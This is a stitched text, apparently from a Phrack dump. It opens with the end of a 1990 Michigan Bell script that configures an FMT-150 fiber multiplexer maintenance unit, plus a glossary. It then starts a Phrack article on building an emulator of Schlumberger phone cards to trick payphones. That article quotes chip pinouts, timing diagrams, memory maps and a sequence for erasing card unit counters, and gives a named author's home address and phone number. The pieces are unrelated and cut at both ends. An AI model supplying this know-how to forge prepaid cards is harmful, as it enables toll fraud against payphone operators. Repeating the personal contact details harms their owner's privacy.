; Enter the command "A:" + <ENTER>.
; 2) Enter the command "FIXPRN" + <ENTER>.
; 3) Enter the command "PROCOMM" + <ENTER>.
; 4) While holding the <ALT> key down, press the <D> key,
; and select FMT-150 from the dialing menu.
; 5) Gain access to MCU as normal (press the <ENTER> key 3 times).
; 6) Once logged in, reset the MCU to factory default by
; entering "M"(aintenance) "R"(eset) "*"(all) + <ENTER>.
; It will take approximately three minutes to reconfigure.
; 7) Gain access to MCU again as in steps 3) & 4).
; 8) Select the script by pressing <ALT><F5> keys simultaneously.
; 9) When prompted for command file enter "FMT150" + <ENTER>.
; 10) Answer questions and away you go!
;
; HISTORY: Version 4.00 May 15, 1990 by AQW final release version
; HISTORY: Version 4.10 Aug 08, 1990 by JBH mod to use VPRINT to divert
; printer into a better bit bucket, and to correct callback #.
; HISTORY: Version 4.12 Nov 21, 1990 by EEE to use Customer Inputs
; HISTORY: Version 5.00 Dec 18, 1990 by JBH to update documentation
;SN051690000
;REFNO=5.00
CLEAR
PAUSE 1
ALARM 1
MESSAGE " "
MESSAGE " *************************************************"
MESSAGE " * *"
MESSAGE " * FMT-150 MCU NT7H90XC\CA CONFIGURATION PROGRAM *"
MESSAGE " * MCU NT7H90XE\EA CONFIGURATION PROGRAM *"
MESSAGE " * *"
MESSAGE " * VERSION 5.00 DEC 18, 1990 *"
MESSAGE " * *"
MESSAGE " * MICHIGAN BELL TELEPHONE COMPANY *"
MESSAGE " * A DIVISION OF AMERITECH *"
MESSAGE " * *"
MESSAGE " * *"
MESSAGE " *************************************************"
MESSAGE " "
MESSAGE " "
MESSAGE " ....TO EXIT THIS PROGRAM AT ANY TIME, PRESS <ESC>...."
PAUSE 3
ALARM 1
;VARIABLE DOCUMENTATION
;S0=CLLI A USER INPUT
;S1=CLLI B USER INPUT
;S2=CLLI LOCAL USER INPUT
;S3=YEAR 2 DIGIT USER INPUT
;S4=MONTH 2 DIGIT USER INPUT
;S5=DAY 2 DIGIT USER INPUT
;S6=HOUR 2 DIGIT USER INPUT
;S7=MINUTE 2 DIGIT USER INPUT
;S8=SYSTEM ID & USER RESPONSE USED TO CONTROL PROGRAM FLOW
;S9=SYSTEM NUMBER
LABEL1:
; note the following statement was superseded in version 4.10 by VPRINT
;DOS "MODE LPT1:=COM2:" ; REQUIRED TO TURN PRINTER ERROR OFF
; following flushes the "RUB" buffer
TRANSMIT "^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H"
CLEAR
LOCATE 10,2
MESSAGE "Enter CLLI code for LOCATION A (C.O.) using full 8 or 11 characters:"
LOCATE 12,2
GET S0 11 ;CLLI A
MESSAGE " "
CLEAR
LOCATE 10,2
MESSAGE "Enter CLLI code for LOCATION B (REMOTE) using full 8 or 11 characters:"
LOCATE 12,2
GET S1 11 ;CLLI B
MESSAGE " "
CLEAR
LOCATE 10,2
MESSAGE "Enter CLLI code for YOUR location using full 8 or 11 characters:"
LOCATE 12,2
GET S2 11
CLEAR
LOCATE 8,2
MESSAGE "Enter system ID without 'MI', for example ALBNMN-JCSNMN."
LOCATE 10,2
GET S8 13
LOCATE 13,2
MESSAGE "Enter system number, for example 1201 / T3X."
LOCATE 15,2
GET S9 15
TRANSMIT "CGNS"
TRANSMIT "`""
TRANSMIT S8
TRANSMIT "`""
TRANSMIT "!"
CLEAR
LOCATE 6,2
MESSAGE "Enter today's date."
LOCATE 8,2
MESSAGE "Enter two digit year + <ENTER>"
LOCATE 8,34
GET S3 2 ; 2 DIGIT YEAR
LOCATE 10,2
MESSAGE "Enter two digit month + <ENTER>. Use 0's if required."
LOCATE 10,58
GET S4 2 ; 2 DIGIT MONTH
LOCATE 12,2
MESSAGE "Enter two digit day + <ENTER>. Use 0's if required."
LOCATE 12,56
GET S5 2 ; 2 DIGIT DAY
CLEAR
LOCATE 6,2
MESSAGE "Enter time."
LOCATE 8,2
MESSAGE "Enter two digit hour + <ENTER>. Use 0's if required."
LOCATE 8,57
GET S6 2 ; 2 DIGIT HOUR
LOCATE 10,2
MESSAGE "Enter two digit minute + <ENTER>. Use 0's if required."
LOCATE 10,59
GET S7 2 ; 2 DIGIT MINUTE
CLEAR
;SET TIME DP3025
TRANSMIT "CT"
TRANSMIT S6
TRANSMIT " "
TRANSMIT S7
TRANSMIT " !"
PAUSE 1
KFLUSH
RFLUSH
CLEAR
;PROMPT THE USER TO CHECK INPUTS FOR LOCATIONS
LOCATE 1,2
MESSAGE "Please verify the following information."
LOCATE 4,2
MESSAGE "LOCATION A CLLI CODE = "
LOCATE 4,26
MESSAGE S0
LOCATE 6,2
MESSAGE "LOCATION B CLLI CODE = "
LOCATE 6,26
MESSAGE S1
LOCATE 8,2
MESSAGE "LOCAL LOCATION CLLI CODE ="
LOCATE 8,29
MESSAGE S2
LOCATE 10,2
MESSAGE "SYSTEM ID = "
LOCATE 10,17
MESSAGE S8
LOCATE 12,2
MESSAGE "SYSTEM NUMBER = "
LOCATE 12,21
MESSAGE S9
LOCATE 17,2
MESSAGE "IS INFORMATION CORRECT? Y/N + <ENTER>"
LOCATE 17,44
GET S8 1
SWITCH S8
CASE "Y"
;DO NOTHING
ENDCASE
DEFAULT
GOTO LABEL1 ; JUMP TO TOP AND ENTER INFORMATION AGAIN
ENDCASE
ENDSWITCH
CLEAR
LOCATE 8,15
MESSAGE "DO NOT PRESS ANY KEYS UNTIL CONFIGURATION COMPLETE"
LOCATE 10,15
MESSAGE "OK...HERE WE GO..."
ALARM 1
PAUSE 2
;SET DATE DP3024
TRANSMIT "CD"
TRANSMIT S3
TRANSMIT " "
TRANSMIT S4
TRANSMIT " "
TRANSMIT S5
TRANSMIT " !"
PAUSE 1
;NAME NODE 1 USING CENTRAL OFFICE CLLI CODE
TRANSMIT "CGNN1 "
TRANSMIT "`""
TRANSMIT S0
TRANSMIT "`""
TRANSMIT "!"
;NAME NODE 2 USING REMOTE CLLI CODE
TRANSMIT "CGNN2 "
TRANSMIT "`""
TRANSMIT S1
TRANSMIT "`""
TRANSMIT "!"
;DEFINE SITE
TRANSMIT "CGS1 1 2 !"
;TRANSMIT "`""
;TRANSMIT S0
;TRANSMIT "`""
;TRANSMIT S1
;TRANSMIT " "
;TRANSMIT "!"
;CONFIGURE CUSTOMER OUTPUT POINTS DP3013
TRANSMIT "CGNO1 "
TRANSMIT "`"BAY MINOR`""
TRANSMIT "!"
TRANSMIT "CGNO2 "
TRANSMIT "`"BAY MAJOR`""
TRANSMIT "!"
TRANSMIT "CGNO3 "
TRANSMIT "`"OPT A FAIL`""
TRANSMIT "!"
TRANSMIT "CGNO4 "
TRANSMIT "`"OPT B FAIL`""
TRANSMIT "!"
TRANSMIT "CGNO5 "
TRANSMIT "`"STX TX`""
TRANSMIT "!"
TRANSMIT "CGNO6 "
TRANSMIT "`"STX RX`""
TRANSMIT "!"
TRANSMIT "CGNO7 "
TRANSMIT "`"M13 ALARM #1`""
TRANSMIT "!"
TRANSMIT "CGNO8 "
TRANSMIT "`"M13 ALARM #2`""
TRANSMIT "!"
TRANSMIT "CGNO9 "
TRANSMIT "`"M13 ALARM #3`""
TRANSMIT "!"
TRANSMIT "CGNO10 "
TRANSMIT "`"HSA ALARM`""
TRANSMIT "!"
TRANSMIT "CGNO11 "
TRANSMIT "`"HSB ALARM`""
TRANSMIT "!"
;TRANSMIT "CGNO12 "
;TRANSMIT "`"DS1 GRP FAIL`""
;TRANSMIT "!"
TRANSMIT "CGNO13 "
TRANSMIT "`""
TRANSMIT S9
TRANSMIT "`""
TRANSMIT "!"
TRANSMIT "CGNO14 "
TRANSMIT "`"COM EQUIP ALRM`""
TRANSMIT "!"
TRANSMIT "CGNO15 "
TRANSMIT "`"NODE #1 CO`""
TRANSMIT "!"
TRANSMIT "CGNO16 "
TRANSMIT "`"NODE #2 REMOTE`""
TRANSMIT "!"
;DELETE ALL EXISTING CUSTOMER OUTPUTS
TRANSMIT "CGO1 D*!"
TRANSMIT "CGO2 D*!"
TRANSMIT "CGO3 D*!"
TRANSMIT "CGO4 D*!"
TRANSMIT "CGO5 D*!"
TRANSMIT "CGO6 D*!"
TRANSMIT "CGO7 D*!"
TRANSMIT "CGO8 D*!"
TRANSMIT "CGO9 D*!"
TRANSMIT "CGO10 D*!"
TRANSMIT "CGO11 D*!"
TRANSMIT "CGO12 D*!"
TRANSMIT "CGO13 D*!"
TRANSMIT "CGO14 D*!"
TRANSMIT "CGO15 D*!"
TRANSMIT "CGO16 D*!"
;CUSTOMER OUTPUTS 1-2
TRANSMIT "CGO1 AS1 G100 !"
TRANSMIT "CGO2 AS1 G120 !"
;CUSTOMER OUTPUTS 3-9
TRANSMIT "CGO3 AS1 G107 !"
TRANSMIT "CGO4 AS1 G108 !"
TRANSMIT "CGO5 AS1 G101 !"
TRANSMIT "CGO5 AS1 G102 !"
TRANSMIT "CGO5 AS1 G103 !"
TRANSMIT "CGO6 AS1 G104 !"
TRANSMIT "CGO6 AS1 G105 !"
TRANSMIT "CGO6 AS1 G106 !"
TRANSMIT "CGO7 AS1 G109 !"
TRANSMIT "CGO8 AS1 G110 !"
TRANSMIT "CGO9 AS1 G111 !"
;CUSTOMER OUTPUTS 10-11
TRANSMIT "CGO10 AS1 M1 MH18 !"
TRANSMIT "CGO10 AS1 M2 MH18 !"
TRANSMIT "CGO10 AS1 M3 MH18 !"
TRANSMIT "CGO11 AS1 M1 MH19 !"
TRANSMIT "CGO11 AS1 M2 MH19 !"
TRANSMIT "CGO11 AS1 M3 MH19 !"
;TRANSMIT "CGO12 AS1 M1 1H2 !"
;TRANSMIT "CGO12 AS1 M2 1H2 !"
;TRANSMIT "CGO12 AS1 M3 1H2 !"
;TRANSMIT "CGO12 AS1 M1 1H3 !"
;TRANSMIT "CGO12 AS1 M2 1H3 !"
;TRANSMIT "CGO12 AS1 M3 1H3 !"
;CUSTOMER OUTPUT 13, 14
TRANSMIT "CGO13 AS1 G100 !"
TRANSMIT "CGO13 AS1 G120 !"
TRANSMIT "CGO14 AS1 G112 !"
;CUSTOMER OUTPUTS 15, 16
TRANSMIT "CGO15 AN1 G100 !"
TRANSMIT "CGO15 AN1 G120 !"
TRANSMIT "CGO16 AN2 G100 !"
TRANSMIT "CGO16 AN2 G120 !"
;SET TO AUTOMATIC CONTROL
TRANSMIT "CGO1 CA!"
TRANSMIT "CGO2 CA!"
TRANSMIT "CGO3 CA!"
TRANSMIT "CGO4 CA!"
TRANSMIT "CGO5 CA!"
TRANSMIT "CGO6 CA!"
TRANSMIT "CGO7 CA!"
TRANSMIT "CGO8 CA!"
TRANSMIT "CGO9 CA!"
TRANSMIT "CGO10 CA!"
TRANSMIT "CGO11 CA!"
TRANSMIT "CGO12 CA!"
TRANSMIT "CGO13 CA!"
TRANSMIT "CGO14 CA!"
TRANSMIT "CGO15 CA!"
TRANSMIT "CGO16 CA!"
;
;DEFINE CUSTOMER OUTPUT 12
TRANSMIT "CGO12 D*!"
TRANSMIT "CGNO12 "
TRANSMIT "`"EXT ALM`""
TRANSMIT "!"
TRANSMIT "CGO12 AN2 G118 !"
;also attach to pt 13 for alarm center ID
TRANSMIT "CGO13 AN2 G118 !"
;
;DEFINE CUSTOMER INPUTS
TRANSMIT "CGNI1 "
TRANSMIT "`"SMOKE DET.`""
TRANSMIT "!"
TRANSMIT "CGNI2 "
TRANSMIT "`"SUMP PUMP`""
TRANSMIT "!"
TRANSMIT "CGNI3 "
TRANSMIT "`"OPEN DOOR`""
TRANSMIT "!"
TRANSMIT "CGNI4 "
TRANSMIT "`"AC PWR FAIL`""
TRANSMIT "!"
TRANSMIT "CGNI5 "
TRANSMIT "`"HI-LO TEMP`""
TRANSMIT "!"
TRANSMIT "CGNI6 "
TRANSMIT "`"RECT. FAIL`""
TRANSMIT "!"
TRANSMIT "CGNI7 "
TRANSMIT "`"BATT FLOAT`""
TRANSMIT "!"
;
;ADD CONDITIONS TO CUSTOMER OUTPUT 1
TRANSMIT "CGO1 AN2 SS5 !"
TRANSMIT "CGO1 AN2 SS6 !"
TRANSMIT "CGO1 AN2 SS7 !"
;
;ADD CONDITIONS TO CUSTOMER OUTPUT 2
TRANSMIT "CGO2 AN2 SS1 !"
TRANSMIT "CGO2 AN2 SS2 !"
TRANSMIT "CGO2 AN2 SS3 !"
TRANSMIT "CGO2 AN2 SS4 !"
;
;PER JOE OLSZTYN SWITCHING SYSTEMS STAFF
;LEAVE PERFORMANCE MONITORING AT FACTORY DEFAULT
;DISABLE BLUE INSERTION FOR POINT TO POINT SYSTEMS
;IN A MULTIPOINT SYSTEM BLUE INSERTION SHOULD BE ENABLED.
;ENABLE ALARM LOGGER
TRANSMIT "CAD!"
;DISABLE BLUE INSERTION NODE 1 DP3019
TRANSMIT "CN1 T1 BE!"
TRANSMIT "CN1 T2 BE!"
TRANSMIT "CN1 T3 BE!"
;ENABLE PARITY CORRECTION NODE 1 DP3020
TRANSMIT "CN1 T1 PE!"
TRANSMIT "CN1 T2 PE!"
TRANSMIT "CN1 T3 PE!"
;ENABLE RX OVERHEAD NODE 1 DP3021
TRANSMIT "CN1 T1 RE!"
TRANSMIT "CN1 T2 RE!"
TRANSMIT "CN1 T3 RE!"
;ENABLE TX OVERHEAD NODE 1 DP3022
TRANSMIT "CN1 T1 TE!"
TRANSMIT "CN1 T2 TE!"
TRANSMIT "CN1 T3 TE!"
;SIGNAL DEGRADE 10E-8 NODE 1 DP3158
TRANSMIT "CN1 T1 S8!"
TRANSMIT "CN1 T2 S8!"
TRANSMIT "CN1 T3 S8!"
;DISABLE BLUE INSERTION NODE 2 DP3019
TRANSMIT "CN2 T1 BE!"
TRANSMIT "CN2 T2 BE!"
TRANSMIT "CN2 T3 BE!"
;ENABLE PARITY CORRECTION NODE 2 DP3020
TRANSMIT "CN2 T1 PE!"
TRANSMIT "CN2 T2 PE!"
TRANSMIT "CN2 T3 PE!"
;ENABLE RX OVERHEAD NODE 2 DP3021
TRANSMIT "CN2 T1 RE!"
TRANSMIT "CN2 T2 RE!"
TRANSMIT "CN2 T3 RE!"
;ENABLE TX OVERHEAD NODE 2 DP3022
TRANSMIT "CN2 T1 TE!"
TRANSMIT "CN2 T2 TE!"
TRANSMIT "CN2 T3 TE!"
;SIGNAL DEGRADE 10E-8 NODE 2 DP3158
TRANSMIT "CN2 T1 S8!"
TRANSMIT "CN2 T2 S8!"
TRANSMIT "CN2 T3 S8!"
;LINE LEARN ALL MULTIPLEXERS BOTH NODES
TRANSMIT "CN1 M1 L!"
TRANSMIT "CN1 M2 L!"
TRANSMIT "CN1 M3 L!"
TRANSMIT "CN2 M1 L!"
TRANSMIT "CN2 M2 L!"
TRANSMIT "CN2 M3 L!"
;CONFIGURATION IS COMPLETE EXIT THE PROGRAM
CLEAR
ALARM 1
LOCATE 10,20
MESSAGE "......CONFIGURATION COMPLETE......"
LOCATE 14,17
MESSAGE "CONTINUE WITH SECTION 5 OF CERTIFICATION"
ALARM 2
PAUSE 5
EXIT
----------------------------------------------------------------------------
Glossary of Terms
4W Four Wire
ACO Alarm Cut-Off
ACTV Active (module -- carrying traffic)
AGC Automatic Gain Control
AIS Alarm Indication Signal -- indicates an alarm upstream
AMI Alternate Mark Inversion -- a technique by which the polarity of
alternate pulses is inverted
APD Avalanche Photo Diode -- used for detecting pulses of light
at the receive end of an optical fiber
AUD Audible alarm
BDF Battery Distribution Frame
BER Bit Error Rate
BIP Bit Interleave Parity
BPV Bipolar Violation -- signal is not alternating as expected
CAMMS Centralized Access Maintenance and Monitoring System --
a bay-mounted shelf with push buttons and an luminescent display,
which is used to control FMT-150 networks, as well as other
Northern Telecom transmission equipment
CDP Centralized Display Panel
CEV Controlled Environment Vault
CO Central Office
CPC Common Product Code -- a Northern Telecom code used to identify
equipment
DDD Direct Distance Dialing
DM-13 Digital Multiplexer which multiplexes between DS-1/1C/2 signals
and DS-3 signals
DNA Dynamic Network Architecture
E2A A serial interface for alarm polling of equipment
FE Frame Error
FER Frame Error Rate
FL Frame Loss
FLC Frame Loss Counter
FLS Frame Loss Seconds
FPD Future Product to be Developed
Group A multiplexed signal made up of four DS-1s, two DS-1Cs, or
one Ds-2
Hub An FMT-150 site which branches one 150 Mb/s signal into two or
three signals, in different directions, without sacrificing
OA & M continuity
LBR Loopback Request
MCU Maintenance Control Unit
MM Multimode Optical Fiber
MSB Most Significant Bit
Muldem Multiplexer/demultiplexer
NRZ Non-Return to Zero
OTT Optical Termination Tray
PEC Product Engineering Code -- a Norther Telecom code used to identify
equipment. The preferred code to be used when ordering Northern
Telecom equipment.
PER Parity Error Rate
PES Parity Error Seconds
RTO Ready To Order
SCU Service Channel Unit
SMB Sub-Miniature BNC type connector
SR Stuff Request
STX (Pseudo) Synchronous Transport Signal: First Level at
49.92 Mb/s (Northern Telecom)
TBOS Telemetry Byte Oriented System
VIS Visual Alarm
WDM Wavelength Division Multiplexing
XOW Express Orderwire
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 10 of 18
Electronic Telephone Cards: How to make your own!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
I guess that Sweden is not the only country that employs the electronic
phone card systems from Schlumberger Technologies. This article will
explain a bit about the cards they use, and how they work. In the end of
this article you will also find an UUEncoded file which contains source
code for a PIC16C84 micro-controller program that completely emulates a
Schlumberger Telephone card and of course printed circuit board layouts
+ a component list... But before we begin talking seriously of this
matter I must first make it completely clear that whatever you use this
information for, is entirely YOUR responsibility, and I cannot be held
liable for any problems that the use of this information can cause for
you or for anybody else. In other words: I give this away FOR FREE, and
I don't expect to get ANYTHING back in return!
The Original Telephone Card:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Since I probably would have had a hard time writing a better article
than the one Stephane Bausson from France wrote a while ago, I will not
attempt to give a better explanation than that one; I will instead
incorporate it in this phile, but I do want to make it clear that the
following part about the cards technical specification was not written
by me: Merely the parts in quotes are things added by me... Instead I
will concentrate on explaining how to build your own telephone card
emulator and how the security measures in the payphone system created by
Schlumberger Technologies work, and how to trick it... But first, let's
have a look at the technical specifications of the various "smart memory
card" systems used for the payphones.
<Start of text quoted from Stephane Bausson (sbausson@ensem.u-nancy.fr)>
------------------------------------------------------------------------------
===============================================================================
What you need to know about electronics telecards
===============================================================================
(C) 10-07-1993 / 03-1994
Version 1.06
Stephane BAUSSON
Email: sbausson@ensem.u-nancy.fr
Smail: 4, Rue de Grand; F-88630 CHERMISEY; France
Phone: (33)-29-06-09-89
-------------------------------------------------------------------------------
Any suggestions or comments about phonecards and smart-cards are welcome
-------------------------------------------------------------------------------
Content
---------
I ) The cards from Gemplus, Solaic, Schlumberger, Oberthur:
I-1) Introduction:
I-2) SCHEMATICS of the chip:
I-3) PINOUT of the connector:
I-4) Main features:
I-5) TIME DIAGRAMS:
I-6) Memory MAP of cards from France and Monaco:
I-5) Memory MAP of cards from other countries:
II ) The cards from ODS: (German cards)
II-1) Introduction:
II-2) Pinout:
II-3) Main features:
II-4) Time Diagrams:
II-5) Memory Map:
II-6) Electrical features:
III) The Reader Schematic:
IV) The program:
-------------------------------------------------------------------------------
I ) The cards from Gemplus, Solaic, Schlumberger, Oberthur: (French cards)
======================================================================
I-1) Introduction:
------------
You must not think that the electronics phone-cards are
completely secret things, and that you can not read the information that
is inside. It is quite false, since in fact an electronic phonecard does
not contain any secret information like credit cards, and an electronic
phonecard is nothing else than a 256 bit EPROM with serial output.
Besides do not think that you are going to refill them when you
understand how they work, since for that you should reset the 256 bits
of the cards by erasing the whole card. But the chip is coated in UV
opaqued resin even if sometimes you can see it as transparent! Even if
you were smart enough to erase the 256 bits of the card you should
program the manufacturer area, but this is quite impossible since these
first 96 bits are write protected by a lock-out fuse that is fused after
the card programming in factory.
Nevertheless it can be very interesting to study how these cards
work, to see which kind of data are inside and how the data are mapped
inside or to see how many units are left inside for example. Besides
there are a great number of applications of these cards when there are
used (only for personal usage of course) , since you can use them as key
to open a door, or you can also use them as key to secure a program,
etc...
These Telecards have been created in 1984 and at this time
constructors decided to build these cards in NMOS technology but now,
they plan to change by 1994 all readers in the public to booths and use
CMOS technology. Also they plan to use EEPROM to secure the cards and to
add many useful informations in, and you will perhaps use phone cards to
buy you bread or any thing else.
These cards are called Second Generation Telecards.
I-2) SCHEMATICS of the chip:
----------------------
.-------------------.
| |
--|> Clk |
| _ |
--| R/W |
| |
--| Reset |
| |
--| Fuse |
| |
--| Vpp |
| |
| |
'-. .-'
| |
.-------------------.
| Out |-- serial output
'-------------------'
I-3) PINOUT of the connector:
-------------------------
AFNOR CHIP ISO CHIP
---------- --------
-------------+------------- -------------+-------------
| 8 | 4 | | 1 | 5 |
| | | | | |
+-------\ | /-------+ +-------\ | /-------+
| 7 +----+----+ 3 | | 2 +----+ + 6 |
| | | | | | | |
+--------| |--------+ +--------| |--------+
| 6 | | 2 | | 3 | | 7 |
| + +----+ | | +----+----+ |
+-------/ | \-------+ +-------/ | \-------+
| 5 | 1 | | 4 | 8 |
| | | | | |
-------------+------------- -------------+-------------
NB: only the position of the chip is ISO
standardized and not the pinout
PINOUT: 1 : Vcc = 5V 5 : Gnd
------ 2 : R/W 6 : Vpp = 21V
3 : Clock 7 : I/O
4 : Reset 8 : Fuse
I-4) Main features:
---------------
- Synchronous protocol.
- N-MOS technology.
- 256x1 bit organization.
- 96 written protected by a lock-out fuse.
- Low power 85mW in read mode.
- 21 V programming voltage.
- Access time: 500ns
- Operating range: -100C +700C
- Ten year data retention.
I-5) TIME DIAGRAMS:
---------------
+21V _____________
+5V ____________________________________| |_________________ Vpp
: :
+5V ___________________:_____________:_________________ Reset
0V ________________| : :
: : :
+5V ____ : ____ : ______:______
0V ___| |_______:_____| |________:______| : |__________ Clock
: : : : : : : : :
+5V : : : : : :______:______: : _
0V ___:____:_______:_____:____:________| : |______:__________ R/W
: : : : : : : : :
+5V : : :_____: :________: : : :__________
0V XXXXXXXXXXXXXXXXX_____XXXXXX________XXXXXXXXXXXXXXXXXXXXXX__________ Out
: : : : : :<-----><---->: :
: : : : : :10 to 10 to :
: : : : : :50 ms 50ms :
Reset Bit 1 Bit2 Bit 3
card reading reading Bit2 writing to 1 reading
I-6) MEMORY MAP of cards from France and Monaco:
--------------------------------------------
Bytes Bits Binary Hexa
+-----------+-----+
1 1 --> 8 | | | ---> Builder code.
+-----------+-----+
2 9 --> 16 | 0000 0011 | $03 | ---> a French telecard
+-----------+-----+
3 17 --> 24 | | |
+-----------+-----+
4 25 --> 32 | | |
+-----------+-----+
5 33 --> 40 | | |
+-----------+-----+
6 41 --> 48 | | |
+-----------+-----+
7 49 --> 56 | | |
+-----------+-----+
8 57 --> 64 | | |
+-----------+-----+
9 65 --> 72 | | |
+-----------+-----+
10 73 --> 80 | | |
+-----------+-----+
11 81 --> 88 | | |
+-----------+-----+
12 33 --> 40 | 0001 0011 | $13 | ---> 120 units card
| 0000 0110 | $06 | ---> 50 units card
| 0000 0101 | $05 | ---> 40 units card
+-----------+-----+
13-31 97 --> 248 | | | ---> The units area: each time a unit
| | | is used, then a bit is set to "1";
| | | Generally the first ten units are
| | | fused in factory as test.
| | |
| | |
| | |
+-----------+-----+
32 249 --> 256 | 1111 1111 | $FF | ---> the card is empty
+-----------+-----+
I-7) MEMORY MAP of the other cards:
-------------------------------
Bytes Bits Binary Hexa
+-----------+-----+
1 1 --> 8 | | |
+-----------+-----+
2 9 --> 16 | 1000 0011 | $83 | ---> a telecard
+-----------+-----+-----------+-----+
3-4 17 --> 32 | 1000 0000 | $80 | 0001 0010 | $12 | ---> 10 units card
| | | 0010 0100 | $24 | ---> 22 units card
| | | 0010 0111 | $27 | ---> 25 units card
| | | 0011 0010 | $32 | ---> 30 units card
| | | 0101 0010 | $52 | ---> 50 units card
| | | 1000 0010 | $82 | ---> 80 units card
| 1000 0001 | $81 | 0000 0010 | $02 | ---> 100 units card
| | | 0101 0010 | $52 | ---> 150 units card
+-----------+-----+-----------+-----+
5 33 --> 40 | | |
+-----------+-----+
6 41 --> 48 | | |
+-----------+-----+
7 49 --> 56 | | |
+-----------+-----+
8 57 --> 64 | | |
+-----------+-----+
9 65 --> 72 | | |
+-----------+-----+
10 73 --> 80 | | |
+-----------+-----+
11 81 --> 88 | | |
+-----------+-----+
12 89 --> 96 | 0001 1110 | $1E | ---> Sweden
| 0010 0010 | $22 | ---> Spain
| 0011 0000 | $30 | ---> Norway
| 0011 0011 | $33 | ---> Andorra
| 0011 1100 | $3C | ---> Ireland
| 0100 0111 | $47 | ---> Portugal
| 0101 0101 | $55 | ---> Czech Republic
| 0101 1111 | $5F | ---> Gabon
| 0110 0101 | $65 | ---> Finland
+-----------+-----+
13-31 97 --> 248 | | | ---> The units area: each time a unit
| | | is used, then a bit is set to "1";
| | |
| | | Generally the first two units are
| | | fused in factory as test.
| | |
| | |
+-----------+-----+
32 249 --> 256 | 0000 0000 | $00 |
+-----------+-----+
II ) The cards from ODS, Giesecke & Devrient, ORGA Karten systeme,
=============================================================
Uniqua, Gemplus, Schlumberger and Oldenbourg Kartensysteme:
===========================================================
II-1) Introduction:
------------
These cards are in fact 128 bit memory in NMOS technology, and
the map of these cards are the following:
64 bit EPROM written protected (manufacturer area).
40 bit EEPROM (5x8 bits).
24 bits set to "1".
II-2) Pinout:
--------
ISO 7816-2
-------------+-------------
| 1 | 5 | Pinout:
| | | -------
+-------\ | /-------+
| 2 +----+ + 6 | 1 : Vcc = 5V 5 : Gnd
| | | | 2 : Reset 6 : n.c.
+--------| |--------+ 3 : Clock 7 : I/O
| 3 | | 7 | 4 : n.c. 8 : n.c.
| +----+----+ |
+-------/ | \-------+ n.c. : not connected
| 4 | 8 |
| | |
-------------+-------------
II-3) Main features:
---------------
- ISO 7816- 1/2 compatible.
- use a single 5V power supply.
- low power consumption.
- NMOS technology.
II-4) Time Diagrams:
----------------
Reset:
------
The address counter is reset to 0 when the clock line CLK is raised
while the control line R is high. Note that the address counter can not
be reset when it is in the range 0 to 7.
__________________
_____| |_____________________________________________ Reset
: :
: _____ : _____ _____ _____ _____
_____:_______| |____:_| |_____| |_____| |_____| |_ Clk
: : : : : : : : : : :
_____:_______:__________:_:_____:_____:_____:_____:_____:_____:_____:_
_____:___n___|_____0____:_|_____1_____|_____2_____|_____3_____|___4_:_ (Address)
: : : : : :
_____: :_______:___________:___________:___________:_
_____XXXXXXXXXXXXXXXXXXXX_______|___________|___________|___________|_ Data
Bit n Bit 0 Bit 1 Bit2 Bit3
The address counter is incremented by 1 with each rising edge of the
clock signal Clk, for as long as the control line R remains low. The
data held in each addressed bit is output to I/O contact each time Clk
falls. It is not impossible to decrement the address counter, therefore
to address an earlier bit, the address counter must be reset then
incremented to require value.
Write:
------
All unwritten or erased bits in the address 64-104 may be unwritten
to. When a memory cell is unwritten to, it is set to 0. The addressed
cell is unwritten to by the following sequence.
1- R is raised while Clk is low, to disable address counter increment
for one clock pulse.
2- Clk is then raised for a minimum of 10ms to write to the address bit.
When to write operation ends, and Clk falls, the address counter is
unlocked, and the content of the written cell, which is now 0, is output
to I/O contact if the operation is correct.
The next Clk pulse will increment the address by one, then the write
sequence can be repeated to write the next bit.
_____ _____
____________| |______________________________| |_______________ Reset
: :
___ : _____ ___ : _____
___| |____:__________| |_________| |_____:__________| |____ Clk
: : : : : : : : :
___:________:__________:_____:_________:___:_____:__________:_____:_____
n | n+1 | n+2 | : n+3 | : (Addr)
---'--------:----------'-----:---------'---:-----:----------'-----:-----
: : : : : : :
________ _: : : ____________: ___: : :
________XXX_XXXXXXXXXXXXXXXXXXX____________ XX___XXXXXXXXXXXXXXXXXXXXXXX I/O
n n+1 : : n+1 n+2 : :
: : : :
write write
WriteCarry:
-----------
A counter is erased by performing the WRITECARRY sequence on the
stage of the next highest weighing to that to be erased.
The writecarry sequence is as follows:
1 - Set the address counter to an unwritten bit in the next highest
counter stage to that to be erased.
2 - Increment is disabled on the following rising edge of R where Clk
remains low.
3 - Clk is then raised for a minimum of 10ms, while R is low, to write
to the next address bit.
4 - R is the raised again while Clk remains low to disable increment a
second time.
5 - Clk is the raised for a minimum of 1ms, while R is low, to write to
the addressed bit a second time, erasing the counter level immediately
below that the addressed bit.
_____ _____
______| |____________________| |_________________________________ Rst
: :
: _______ : _______ ___
______:___________| |______:_____________| |______| |______ Clk
: : : : : : : :
: : : : : : : :
<------------------------- address n ------------------------>:<--- n+1 ------
: : : : : : :
: : : : : : :
______: : :______: : :__________: _____
______XXXXXXXXXXXXXXXXXXXXX______XXXXXXXXXXXXXXXXXXXXXXX__________XX_____ I/O
: : n : : n n+1
: : : :
Write Erase
II-5) Memory Map:
-------------
Bytes Bits Binary Hexa
+-----------+-----+
1 1 --> 8 | | |
+-----------+-----+
2 9 --> 16 | 0010 1111 | $2F | ---> Germany
| 0011 0111 | $37 | ---> Netherland
| 0011 1011 | $3B | ---> Greece
+-----------+-----+
3 17 --> 24 | | |
4 25 --> 32 | | | ---> Issuer area (written protected)
5 33 --> 40 | | |
6 41 --> 48 | | |
7 49 --> 56 | | |
8 57 --> 64 | | |
+-----------+-----+
9 65 --> 72 | | | ---> c4096 )
10 73 --> 80 | | | ---> c512 )
11 81 --> 88 | | | ---> c64 ) 5 stage octal counter
12 89 --> 96 | | | ---> c8 )
13 97 --> 104 | | | ---> c0 )
+-----------+-----+
14 105 --> 112 | 1111 1111 | $FF |
15 113 --> 120 | 1111 1111 | $FF | ---> area of bits set to "1"
16 120 --> 128 | 1111 1111 | $FF |
+-----------+-----+
The Issuer area:
----------------
This issuer consists of 40 bits. The contents of the issuer area are
specified by the card issuer, and are fixed during the manufacturing
process. The contents of the issuer area will include data such as
serial numbers, dates, and distribution centers.
This area may only be read.
The Counter area:
-----------------
The counter area stores the card's units. Its initial value is
specified by the card issuer and set during manufacturing.
